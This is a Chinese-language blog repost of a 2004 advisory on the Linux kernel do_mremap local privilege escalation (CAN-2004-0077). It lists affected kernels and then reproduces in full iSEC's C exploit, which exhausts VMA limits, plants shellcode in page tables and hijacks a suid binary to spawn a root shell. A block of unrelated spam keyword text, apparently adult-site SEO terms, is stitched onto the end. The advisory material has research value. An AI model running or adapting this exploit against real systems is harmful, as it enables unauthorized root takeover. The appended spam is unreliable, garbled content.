• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            Linux Kernel do_mremap VMA本地權限提升漏洞

            日期:2004-03-05

            發布日期:2004-02-18
            更新日期:2004-03-03

            受影響系統:
            Linux kernel 2.6.2
            Linux kernel 2.6.1
            Linux kernel 2.6
            Linux kernel 2.4.9
            Linux kernel 2.4.8
            Linux kernel 2.4.7
            Linux kernel 2.4.6
            Linux kernel 2.4.5
            Linux kernel 2.4.4
            Linux kernel 2.4.3
            Linux kernel 2.4.24
            Linux kernel 2.4.23
            Linux kernel 2.4.22
            Linux kernel 2.4.21
            Linux kernel 2.4.20
            Linux kernel 2.4.2
            Linux kernel 2.4.19
            Linux kernel 2.4.17
            Linux kernel 2.4.16
            Linux kernel 2.4.15
            Linux kernel 2.4.14
            Linux kernel 2.4.13
            Linux kernel 2.4.12
            Linux kernel 2.4.11
            Linux kernel 2.4.10
            Linux kernel 2.4.1
            Linux kernel 2.4
            Linux kernel 2.2.9
            Linux kernel 2.2.8
            Linux kernel 2.2.7
            Linux kernel 2.2.6
            Linux kernel 2.2.5
            Linux kernel 2.2.4
            Linux kernel 2.2.3
            Linux kernel 2.2.25
            Linux kernel 2.2.24
            Linux kernel 2.2.23
            Linux kernel 2.2.22
            Linux kernel 2.2.21
            Linux kernel 2.2.20
            Linux kernel 2.2.2
            Linux kernel 2.2.19
            Linux kernel 2.2.18
            Linux kernel 2.2.17
            Linux kernel 2.2.16
            Linux kernel 2.2.15
            Linux kernel 2.2.14
            Linux kernel 2.2.13
            Linux kernel 2.2.12
            Linux kernel 2.2.11
            Linux kernel 2.2.10
            Linux kernel 2.2.1
            Linux kernel 2.2
            Linux kernel 2.4.18
                - Conectiva Linux 8.0
                - Conectiva Linux 7.0
                - Debian Linux 3.0
                - Mandrake Linux 8.2
                - Mandrake Linux 8.1
                - RedHat Linux 8.0
                - RedHat Linux 7.3
                - Slackware Linux 8.1
                - Slackware Linux 8.0
                - SuSE Linux 8.2
                - SuSE Linux 8.1
            不受影響系統:
            Linux kernel 2.6.3
            Linux kernel 2.4.25
            Linux kernel 2.2.26
            描述:
            --------------------------------------------------------------------------------
            CVE(CAN) ID: CAN-2004-0077

            Linux是一款開放源代碼操作系統。

            Linux內核中mremap(2)系統調用由于沒有對函數返回值進行檢查,本地攻擊者可以利用這個漏洞獲得root用戶權限。

            mremap系統調用被應用程序用來改變映射區段(VMAs)的邊界地址。mremap()系統調用提供對已存在虛擬內存區域調整大小。從VMA區域移動部分虛擬內存到新的區域需要建立一個新的VMA描述符,也就是把由VMA描述的下面的頁面表條目(page table entries)從老的區域拷貝到進程頁表中新的位置。

            要完成這個任務do_mremap代碼需要調用do_munmap()內部內核函數去清除在新位置中任何已經存在的內存映射,也就是刪除舊的虛擬內存映射。不幸的是代碼沒有對do_munmap()函數的返回值進行檢查,如果可用VMA描述符的最大數已經超出,那么函數調用就可能失敗。

            isec利用這個漏洞通過頁表緩沖(page table cache)使包含在頁中的惡意指令被執行。詳細方法可參看如下地址:

            http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

            <*來源:Paul Starzetz (paul@starzetz.de)
              
              鏈接:http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
            *>

            測試方法:
            --------------------------------------------------------------------------------

            警 告

            以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

            Paul Starzetz (paul@starzetz.de)提供了如下測試方法:

            /*
            *
            *    mremap missing do_munmap return check kernel exploit
            *
            *    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
            *    ./mremap_pte [suid] [[shell]]
            *
            *    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
            *
            *    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
            *    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
            *    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
            *
            */

            #include <stdio.h>
            #include <stdlib.h>
            #include <errno.h>
            #include <unistd.h>
            #include <syscall.h>
            #include <signal.h>
            #include <time.h>
            #include <sched.h>

            #include <sys/mman.h>
            #include <sys/wait.h>
            #include <sys/utsname.h>

            #include <asm/page.h>


            #define str(s) #s
            #define xstr(s) str(s)

            //    this is for standard kernels with 3/1 split
            #define STARTADDR    0x40000000
            #define PGD_SIZE    (PAGE_SIZE * 1024)
            #define VICTIM        (STARTADDR + PGD_SIZE)
            #define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

            #define DSIGNAL        SIGCHLD
            #define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

            #define MREMAP_MAYMOVE    ( (1UL) << 0 )
            #define MREMAP_FIXED    ( (1UL) << 1 )

            #define __NR_sys_mremap    __NR_mremap


            //    how many ld.so pages? this is the .text section length (like from cat    
            //    /proc/self/maps) in pages
            #define LINKERPAGES    0x14

            //    suid victim
            static char *suid="/bin/ping";

            //    shell to start
            static char *launch="/bin/bash";


            _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,        
                  ulong, e);
            unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
                         unsigned long new_len, unsigned long flags,
                         unsigned long new_addr);

            static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
            static int i, pid=0;
            static char *env[2], *argv[2];
            static ulong ret;


            //    code to appear inside the suid image
            static void suid_code(void)
            {
            __asm__(
                "        call    callme                \n"

            //    setresuid(0, 0, 0), setresgid(0, 0, 0)
                "jumpme:    xorl    %ebx, %ebx            \n"
                "        xorl    %ecx, %ecx            \n"
                "        xorl    %edx, %edx            \n"
                "        xorl    %eax, %eax            \n"
                "        mov    $"xstr(__NR_setresuid)", %al    \n"
                "        int    $0x80                \n"
                "        mov    $"xstr(__NR_setresgid)", %al    \n"
                "        int    $0x80                \n"

            //    execve(launch)
                "        popl    %ebx                \n"
                "        andl    $0xfffff000, %ebx        \n"
                "        xorl    %eax, %eax            \n"
                "        pushl    %eax                \n"
                "        movl    %esp, %edx            \n"
                "        pushl    %ebx                \n"
                "        movl    %esp, %ecx            \n"
                "        mov    $"xstr(__NR_execve)", %al    \n"
                "        int    $0x80                \n"

            //    exit
                "        xorl    %eax, %eax            \n"
                "        mov    $"xstr(__NR_exit)", %al        \n"
                "        int    $0x80                \n"

                "callme:    jmp    jumpme                \n"
                );
            }


            static int suid_code_end(int v)
            {
            return v+1;
            }


            static inline void get_esp(void)
            {
            __asm__(
                "        movl    %%esp, %%eax            \n"
                "        andl    $0xfffff000, %%eax        \n"
                "        movl    %%eax, %0            \n"
                : : "m"(old_esp)
                );
            }


            static inline void cloneme(void)
            {
            __asm__(
                "        pusha                    \n"
                "        movl $("xstr(CLONEFL)"), %%ebx        \n"
                "        movl %%esp, %%ecx            \n"
                "        movl $"xstr(__NR_clone)", %%eax        \n"
                "        int  $0x80                \n"
                "        movl %%eax, %0                \n"
                "        popa                    \n"
                : : "m"(pid)
                );
            }


            static inline void my_execve(void)
            {
            __asm__(
                "        movl %1, %%ebx                \n"
                "        movl %2, %%ecx                \n"
                "        movl %3, %%edx                \n"
                "        movl $"xstr(__NR_execve)", %%eax    \n"
                "        int  $0x80                \n"
                : "=a"(ret)
                : "m"(suid), "m"(argv), "m"(env)
                );
            }


            static inline void pte_populate(unsigned addr)
            {
            unsigned r;
            char *ptr;

                memset((void*)addr, 0x90, PAGE_SIZE);
                r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
                ptr = (void*) (addr + PAGE_SIZE);
                ptr -= r+1;
                memcpy(ptr, suid_code, r);
                memcpy((void*)addr, launch, strlen(launch)+1);
            }


            //    hit VMA limit & populate PTEs
            static void exhaust(void)
            {
            //    mmap PTE donor
                t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
                      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                if(MAP_FAILED==t)
                    goto failed;

            //    prepare shell code pages
                for(i=2; i<LINKERPAGES+1; i++)
                    pte_populate(victim + PAGE_SIZE*i);
                i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
                if(i)
                    goto failed;

            //    lock unmap
                base = MMAP_BASE;
                cnt = 0;
                prot = PROT_READ;
                printf("\n"); fflush(stdout);
                for(;;) {
                    t = mmap((void*)base, PAGE_SIZE, prot,
                         MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                    if(MAP_FAILED==t) {
                        if(ENOMEM==errno)
                            break;
                        else
                            goto failed;
                    }
                    if( !(cnt%512) || cnt>65520 )
                        printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
                        base+PAGE_SIZE); fflush(stdout);
                    base += PAGE_SIZE;
                    prot ^= PROT_EXEC;
                    cnt++;
                }

            //    move PTEs & populate page table cache
                ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
                         MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
                if(-1==ret)
                    goto failed;

                munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
                t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,        
                     PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
                     0);
                if(MAP_FAILED==t)
                    goto failed;

                *t = *((unsigned *)old_esp);
                munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
                printf("\n[+] Success\n\n"); fflush(stdout);
                return;

            failed:
                printf("\n[-] Failed\n"); fflush(stdout);
                _exit(0);
            }


            static inline void check_kver(void)
            {
            static struct utsname un;
            int a=0, b=0, c=0, v=0, e=0, n;

                uname(&un);
                n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
                if(n!=3 || a!=2) {
                    printf("\n[-] invalid kernel version string\n");
                    _exit(0);
                }

                if(b==2) {
                    if(c<=25)
                        v=1;
                }
                else if(b==3) {
                    if(c<=99)
                        v=1;
                }
                else if(b==4) {
                    if(c>18 && c<=24)
                        v=1, e=1;
                    else if(c>24)
                        v=0, e=0;
                    else
                        v=1, e=0;
                }
                else if(b==5 && c<=75)
                    v=1, e=1;
                else if(b==6 && c<=2)
                    v=1, e=1;

                printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
                    un.release, v? "YES" : "NO", e? "YES" : "NO" );
                fflush(stdout);

                if(v && e)
                    return;
                _exit(0);
            }


            int main(int ac, char **av)
            {
            //    prepare
                check_kver();
                memset(env, 0, sizeof(env));
                memset(argv, 0, sizeof(argv));
                if(ac>1) suid=av[1];
                if(ac>2) launch=av[2];
                argv[0] = suid;
                get_esp();

            //    mmap & clone & execve
                exhaust();
                cloneme();
                if(!pid) {
                    my_execve();
                } else {
                    waitpid(pid, 0, 0);
                }

            return 0;
            }

            建議:
            --------------------------------------------------------------------------------
            廠商補丁:

            Linux
            -----
            目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

            http://www.kernel.org/


            下載 

            posted on 2007-06-01 03:10 葉子 閱讀(506) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

            亚洲αv久久久噜噜噜噜噜| 亚洲精品成人网久久久久久| 久久久久久亚洲Av无码精品专口| 国色天香久久久久久久小说| 午夜欧美精品久久久久久久| 99久久婷婷国产一区二区| 亚洲国产成人精品久久久国产成人一区二区三区综| 国产成人无码精品久久久久免费 | 亚洲AV无一区二区三区久久| A狠狠久久蜜臀婷色中文网| 久久精品免费网站网| 亚洲香蕉网久久综合影视| 国产精品久久永久免费| 模特私拍国产精品久久| 国产亚洲欧美精品久久久| 伊人色综合九久久天天蜜桃| 久久精品国产一区| 中文无码久久精品| 久久久无码精品午夜| 99国产欧美久久久精品蜜芽| 伊色综合久久之综合久久| 嫩草影院久久国产精品| 亚洲国产精品无码久久SM| 99精品久久久久久久婷婷| 亚洲色大成网站WWW久久九九| 久久AAAA片一区二区| 久久婷婷五月综合色高清| 国产精品久久久久久久app| 国产精品伦理久久久久久| 久久99精品国产| 久久棈精品久久久久久噜噜| 国产99久久久国产精品小说| 久久中文字幕视频、最近更新| 国产精品青草久久久久福利99 | 狠狠色综合网站久久久久久久高清| 狠狠色丁香久久婷婷综合蜜芽五月| 亚洲国产精品久久久久婷婷软件| 午夜精品久久久久久99热| 久久精品视频一| 亚洲日本久久久午夜精品| 久久婷婷色综合一区二区|